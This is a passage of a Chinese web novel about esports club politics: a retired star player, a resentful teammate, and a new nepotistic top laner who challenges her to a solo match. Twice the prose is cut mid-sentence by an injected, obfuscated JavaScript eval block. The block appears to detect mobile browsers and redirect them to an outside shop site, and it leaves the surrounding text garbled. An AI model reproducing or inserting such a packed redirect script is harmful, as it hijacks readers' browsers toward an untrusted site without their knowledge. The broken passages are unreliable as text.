有人怀疑是LCT·start的斩风斩神,理由是部门离得怎么近说不定会串门,也有摸去斩神直播间查看回来的说斩也在补时长。 最后居然指向LCT·fourth新来的那个上单,说能接替棠离的位置说不定有点东西。 皮文瑞汗流浃背地在公屏踢人、控制舆论,看到清一色对佘逸操作的认可,神色黯黯,忽然绝了澄清代播就是佘逸的念头。 对他有什么好处? LCT上任AD惊弦因为伤病,退役得很仓促,他本来就是从LCT二队里矮子里面拔高子充上去的,那时候他的确技术不过关,但也跟着队伍拿到了问源杯的冠军了吧? 也没有很差吧? 况且现在他已经进步很多了啊?为什么这些夸赞平时不对我说? “没事的,放松心态打,有逸姐在没问题的。” “比赛的时候记得听小佘指挥,她经验足,没问题的,你别紧张。” “到时候逸姐说上你就跟着输出就行,她很会把控全局节奏。” “你逸姐……” “逸姐……” 凭什么? 凭什么你都走了,我却还要留在你的阴影下? 凭什么一个臭直播的也敢甩我脸色? 凭什么你一来,就故意作秀,假模假样地吸引流量,是要引导粉丝说出是你棠离在操作?在降维打击? 皮文瑞脸上带着股未然的戾气,把手指放到了键盘上: [猪皮虾皮水晶皮冻冻(房管)]:哎呀大家不要瞎猜啦~哲轩哥还没首发,队总是不可能让他直播暴露技术的!(嘘)(嘘) 弹幕: [铁血丹心PP军]:哦~~(坏笑)(坏笑) [p宝的愿望清单]:哦~~(坏笑)(坏笑) [唯爱LCT(表情)]送来了×100的冠军荣耀 …… 13. 干涸之夏(十三) 佘逸打完这一局,略微活动下脖颈,侧头扫了眼副屏,她看到了皮文瑞在弹幕中那些状似引导的言论。 她神色如常,像是了然。 “逸姐!我吃完啦,辛苦你了!”皮文瑞适时地推门进来,好像担心什么一样,将半个身子遮掩住屏幕。 他紧紧观察着佘逸的脸色,确保她的脸上没有什么异样的神情,悄悄呼出一口气,递给她一盒提拉米苏:“嘿嘿逸姐,不知道你喜欢吃什么,就点了一个小蛋糕。” “谢了,”佘逸意味深长地看了他一眼,“你自己播?我还得去找一趟王哥,走走程序。” “啊,嗷嗷好!没、没问题!逸姐你忙。” 他又有点拿不准了,心虚得不敢看佘逸,到底有没有看到? 皮文瑞尬笑着站在原地,强行宽慰自己她就是看到了也没事,粉丝只是问代播是不是郑哲轩,他也就老实回答了“不是”,没事的。 佘逸把设备还给他,拿上蛋糕走了。 “呼……” 可算走了。 “对了——” 她突然折返回来,皮文瑞刚顺下去的气又开始打结:“怎、怎么了逸姐?” “游戏设置我改动过,但我忘记你原来的了,改回了初始设置,到时候你自己调一下。” “害,我说什么呢……” “嗯?什么?” “啊,没什么啊姐,键位而已,改了就改了嘛,我还没尝试过离神键位呢哈哈哈。” “没什么特别的,走了。” “逸姐拜拜——” 佘逸走后,训练室里心怀鬼胎的人并没有减少。 皮文瑞刚坐下准备和粉丝互动,郑哲轩就凑了过来,吓得他赶紧闭掉麦克风。 “诶,她刚才玩的什么?” “逸姐吗?刚刚玩了一把AD,带飞局。” “要你说是AD?我问她玩的什么英雄!” “嗷嗷,稍等我看一下后台,好像……玩的猫,对的,猫女。” 郑哲轩凑过来看一眼战绩,嘴硬道:“切,碾压局,也没什么了不起的。” 皮文瑞没有搭话,在心里嗤笑,这公子哥肯定不知道在哪儿暗戳戳窥屏了,不然怎么会知道佘逸玩的AD? 既然占了背景的优势把人家挤掉,就别费尽心思自欺欺人,非要给良心找一个突破口,觉得这是一场平等对价的交易。 公子哥长这么大估计都是靠老爹哄过来的,还真以为自己是货真价实的实力股了。 皮文瑞在心里腹诽,郑哲轩入队以来从没参与过团队的训练赛,连王队也旁敲侧击过可以找时间和队友磨合磨合,别是打得太差,心虚了吧? 他偷偷瞄了隔壁桌一眼,好像是在打模拟竞技场,两手把屏幕敲得劈里啪啦响,看样子是在玩猫女。 嘁,装货。 …… “小佘啊,我刚还找你呢,你的事弄好了伐?” “刚从人事那边过来,都盖完章了。” “哦哦哦,那就好,没少什么材料吧?你回来一趟不容易,最好一次性把手续走完。” 王佑群当然知道她才从人事部出来,他刚才在楼道里抽烟,开门差点撞上了。 佘逸一眼就看出端倪,但还是托着他的面子回道:“都交清了,现在我算是真正退休了,王队事情办完了吧?” “办完了办完了,刚和MOON那边的教练约了今天下午的训练赛。” MOON?听到耳熟的队名,佘逸脑海里浮现出一张倔强的脸。 “MOON最近几年成绩还是不错的,全季赛四强,也拿到世赛名额了。” “是还可以,但还是在走下坡路了啊,这年头俱乐部不改变是不行了,就像人一样,总得讲求个新陈代谢吧?” “是这个道理,我前不久听到消息说他们的打野也换了?” “啊?嗷,是有这么回事。” 王佑群有些纳罕,佘逸的消息这么灵通?退役之后忽然有闲心关注其他战队的队内轮换。 难道是借以敲打他自己退役的事情? 这可是郑总拍板的事情,他可不接这个茬,正想着怎么把话头移开,佘逸转而问了个风马牛不相及的问题。 “晚上的训练赛是给一队约的?” “哈?啊对,这群小子还没磨合过,这次正好让他们试试。” “新队伍,是该磨合磨合,想想这时间过得是真快,六年职业一晃就过了,现在一队也是改换了门庭,好像只有队长还在了。” 佘逸的语气仿佛只是寻常的回忆往昔,她手指沿着墙壁摸索而过,这是一面属于LCT的荣誉墙,里面尘封的大半奖杯都和她有关。 “瞧你说的怪伤感的,只是退役,又不是退圈子了,你离神的名号可还是响当当的。” “但就是不能再打比赛了。” “……害。” 王佑群干干巴巴地应了一声,他倒是真觉得佘逸是挺惨的,但公司有公司的决定。 前两天有人找 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296943|198575||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到他说上面可能要返聘佘逸回来当教练的,他还准备约了人提前做做思想工作,促成促成。 但佘逸命里没这个运气,被郑哲轩那边听到了动静,出手搅黄了,幸好他向来为人谨慎,起的名目是个私局,不然还要得罪人呢。 好像……就是说的老队员聚会? 他面上一讪,怀着那么点碍于面子的愧怍,他半是玩笑半是认真地开口道: “要不这样,今天晚上训练赛你也来看看,现在队里都是些毛头小子,没经验,宋平年纪上来了,指挥分不出心神,也盯不太住,不然你在后头帮着训练训练?毕竟是大师姐嘛。” “我去了他们不自在。” “嗐!有什么不自在的,难不成你比杨教还可怕?” “哈哈,那不敢当。” “就是嘛,等会儿就在训练三室,就以前走那个公共休息室,找得到吧?” “知道。” “成,下午……三点半,开完会正好,约的线上不着急,你去跟他们讨论讨论战术。” “行,我先去外面打印店复印点东西,等会儿回来。” “去打印店干嘛,就去我办公室呗,新换了打印机。” “那行,谢谢王队。” “三点钟来训练三室嗷,我去嘱咐他们几句,不着急吧,晚上再一起吃个饭。” 眼看计划达成,佘逸踩着脚又捧了王佑群几句,把人送走了,在大厅坐了会,卡着集中开会的时间打开了总教练组办公室的门。 她把门半掩住,启动打印机,咣当咣当的机械声昭示着房间里有人。 然后折身走进室内连通的卫生间。 总教组的办公室也是大休息室改的,原本的卫生间是“L”型的拐角,但休息室被分成了两个办公室,就从里面划成了两个隔间。 其中一个在总教办公室,而另一个——佘逸翻过为图省事设置的隔板墙——则是在秦闻素所在的宣发部门。 每个月的集中例会时间不会长,她迅速地扫过秦闻素的办公桌,果然在桌角的收纳板上找到了他的备用工作证。 这还是他兼任佘逸PD的时候,为了改掉自己丢三落四的毛病养成的收纳习惯。 佘逸用手机NFC录入功能复制了训练三室的门禁。 再次原路返回,她在厕所等到了有人回办公室,让人亲眼看着她从卫生间里出来,取走了早就复印好的文件。 三点二十,可以不早不晚地前往训练室,接下来的事情就简单多了。 14. 干涸之夏(十四) “哲轩啊,等会训练赛不用太紧张,就跟平时一样,多听队长的指挥,学学赛场上的经验……” 郑哲轩冷着脸调试设备,一张口就是不加掩饰的厌烦:“行,听他的,说完了没有?” “注意态度,”王佑群一噎,但又实在不能得罪他,只好主动递台阶,“你跟我闹闹没什么,等会杨教练来了你别耍脾气,谦虚点,能学到真东西。” “知道了。”郑哲轩语调懒懒的,显然没放在心上。 “都过来!开会了,还在那傻坐着干什么!” 门一开,一摊子歪七扭八的烂泥,杨邵杰看一眼都窝火,脸色一下子就阴沉下来,她脸上的每一丝皱纹仿佛都浴历铁血,一僵下脸,怒目飞火,能做成挂历止小儿夜啼。 直播没播完的几个脊骨头一激灵,拔了网线火速下播,紧着头皮过来听训。 连郑哲轩都一言不发地靠过来,杨邵杰横了他一眼,硬邦邦地皱起眉头:“快点,磨蹭什么呢,不想训现在就可以出去。” 他脸色一臭,但还是捏着鼻子忍了,迈开步子站到谢凯乐旁边。 他来一队的时候老头子就提过,这个人是好不容易从其他俱乐部挖过来的,有两分本事。 当初听名字他还以为是个男的呢,没想到是个更年期大妈。 郑哲轩暗幽幽翻了个白眼。 “今天约的BO几啊?” “训练赛而已,BO3,先让他们先适应适应。” “看过对手录影了吗,主要走的是什么风格?” “看过最近一段时间的比赛复盘,MOON一直是走的运营保c流,他们家Leader是法师王嘉诚。” “选手个人风格的话没有很突出的,但也没有明显短板,控龙率中上,但守家很强,平均时长都在30分钟以上,是联盟里韧性很足的一支队伍。” 队长宋平一如既往地进行赛前分析,但杨邵杰并没有对此露出满意的神色,他没有真的看过MOON最近的记录。 “还有吗?”杨邵杰刀尖一样的眼尾挑起来,抿紧唇线,她对宋平释放出压力。 “MOON虽然一直走的运营路线没错,但他们最近也有尝试改变,选手换位明显,从野核切换到射辅联动,要把推线运营的优势扩大成终结比赛的能力。” “嗯,”杨邵杰看向门边自己的得意门生,顿了一瞬,目光揉出难以释怀的惋惜,“不错。” 宋平脸上忽闪过一丝尴尬,但无人在意,他又如往常一样默不作声地低垂下头,心里对佘逸的出言解围并甚感想,这样的场景曾经发生过太多次。 “杨教,好久不见。” “你回来干什么,不如不见。” “回来看看您。” 杨邵杰三年前接过这支队伍,三年间见惯了人员变动,一队不是没有过别的女选手,但留下的始终只有佘逸一个。 在这个圈子里,很多人都是征服风浪的航船,只有佘逸是她见过的坚于浪涌的磐石。 她又回想起几个月前听到消息那天,她捏着一拳汹涌的怒气推开训练室的门,看着那群装演谈笑的人,脱口而出地大骂、争论、辩驳,但佘逸还是走了。 她无可遏制地生气,因为佘逸的妥协,还有她自己,没有保住这么一块风霜苛责的顽石。 “……开会迟到,别进来了。” “好。” 佘逸微微一笑,意思是她可以在门口听。 杨邵杰开始指导赛前注意事项,所有人都在认真听她分析并参与讨论,当然,除了郑哲轩。 除了开头几句对MOON各个位置的简要介绍,他听了一耳朵对位上单的场均人头数,3个,顿时就心不在焉起来,这就是个混子,压着打就行了。 郑哲轩从小就容易注意力涣散,坐着没一会就要乱动,目光扫到门框上镶着的佘逸,心情又一阵烦躁。 艹!杵在那端个架子要给谁看?还训练赛请大师姐来盯着,她算哪门子大师姐? 还发表意见?表你妹的意见,艹! 他不乐意听,耳机一扣,转而玩起了手机。 [Piter xuan]:ddd [Piter xuan]:今晚上哪儿去遛遛? [藤椒刘肉mia]:南桥那边新开了家会所,听说是做改良本帮菜的,会员制,有点子意思,待会儿去看看? [Piter xuan]:你有病啊?大晚上宵夜去吃本帮菜? [藤椒刘肉mia]:啧,你成哥给你推荐的场子,怎么可能这么寡淡?都说了是“改良”本帮菜,有节目。 [Piter xuan]:哎哟,那这次劳驾我成哥安排了。 [Piter xuan]:(了然.jpg) [藤椒刘肉mia]:嗨,好说好说,郑少开口,怎么着也得让您进行不是(握拳)(坏笑) “……说得不错,好了,时间到了,去调整设备,这次bp是按世赛标准来,双方各四ban,宋平这次指挥第一把bp,着重ban掉对方体系,不用针对选手个人。” 终于bb完了,郑哲轩吊儿郎当地佝着肩起身,半个手肘都插进兜里,好像在假装一个正在被偷拍的嬉皮士。 刚准备回位置,却被杨邵杰叫住了。 “你,对,就你。” “怎么了,有事?” 这一鼻子冲得王佑群立马冷汗直冒,他拧着眉刺一眼郑哲轩,又偷偷瞄一眼王邵杰,两头祖宗,他夹在中间举棋不定,“啊”了好几声,愣是没能说出打圆场的话来。 “对,有事,”王邵杰拎起激光笔对准他眉心,一束红点正正中中稳稳扎在郑哲轩油腻的额头,“新来的,在我这,上场的每一次机会都是需要靠争的。” “这次给你破例,要是第一把因为你输了,下把你去叫二队的过来。” 王佑群听到这话天灵盖都要掀开了,这位是真正的说一不二,绝不变通,不然凭她的带教能力绝不会止步于区区指导教练,太刚太直,戳得人肺管子直冒血。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296944|198575||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “杨教,今天是小轩第一次上场,要是难免紧张有点失误也肯定正常,当然,我相信小轩会以最饱满的精神状态……” “行啊,我输了,小爷亲自去把二队的请过来。” 郑哲轩讥笑一声,显然是要爆发的前兆,终于把脑袋上半永久的兜帽扯了下来,露出一头漂染过度的白金卷发。 “赢了,”他转过胯骨轴对准门边,舌尖抵着上牙膛,将下巴抬到一个蔑视的角度,“让她滚,这儿以后不欢迎她和狗。” 美式teenager过的居然是韩式校园生活,跨物种的融合真是典中之典。 “郑哲轩,你给我注意点!这话太过了,给你逸姐道歉!” “逸姐?她算哪门子姐?我还不知道自己家从哪儿冒出来个退役的姐。” 郑哲轩的火气节节攀升,一队这群人暗地里想的什么他能不知道?说他空降关系户他认了,但这女的谈了条件给了钱还他妈的这么阴魂不散,真是给你脸了,前恭后倨的小人做派。 从这个女人来了开始,郑哲轩就觉得所有人都在心里窃窃地讨论他的实力。 听说他没打过首秀……我看是不敢吧?也是,毕竟他上一任可是逸姐,那可是离神,打得再好能比的过离神? 他今天就会让这个女的闭嘴。 “怎么了,不敢吗?” “哈哈哈,不好意思 郑……哲轩?对吧,哲轩弟弟,实在没忍住。” “你用一场你自己训练赛的胜负,来对赌我不再踏入我的前公司?” “从价值交换的理论来看——对我有0的吸引力,况且,这里本来只是我的前公司,从今天起彻彻底底地划清了关系。” “我想我刚才应该没有忘记什么重要的程序问题,贵公司的离职手续应该不包含老总——不好意思——老总孩子的同意吧?” “如果需要,那我的离职还不算圆满。” 佘逸冷冷清清抖出这些话,目光挑到高处,玩笑似的看着郑哲轩的脸色由黑转红,再慢慢积攒出她预料中的恼羞成怒。 “王队,实在给您添麻烦了,我早说过我来了,会有人不自在,先走了。” 王佑群这下是真的要变成一根青烟飘走了,他真是无比认同佘逸这句话,可现在已经是被架成死杠了,他妈的这是没牌能听了! “这个……哎,这叫什么事啊……” 空调22度,王佑群肥大的脸上火燎一样往下滴汗,眼睛摸摸索索环视一圈,除了铁血阎王,就是瘟鸡一样的几个小兔崽子,谁都指望不上。 他脑子转得呼啦圈一样快,刚想出了对策,郑哲轩已经嘴快说出了要让他想请紧急公关的话来。 “你敢不敢和我赌一场solo,随便什么位置,最好是你最拿手的,不然,哼哼,总有些瞎了眼的人拎不清,还要捧着某个过了气的明星。” “这个圈子,胜者为王,败者为寇。” “好啊,”佘逸将倚靠在墙的重心挪正,嘴角渐渐浮出笑容,“赌什么?”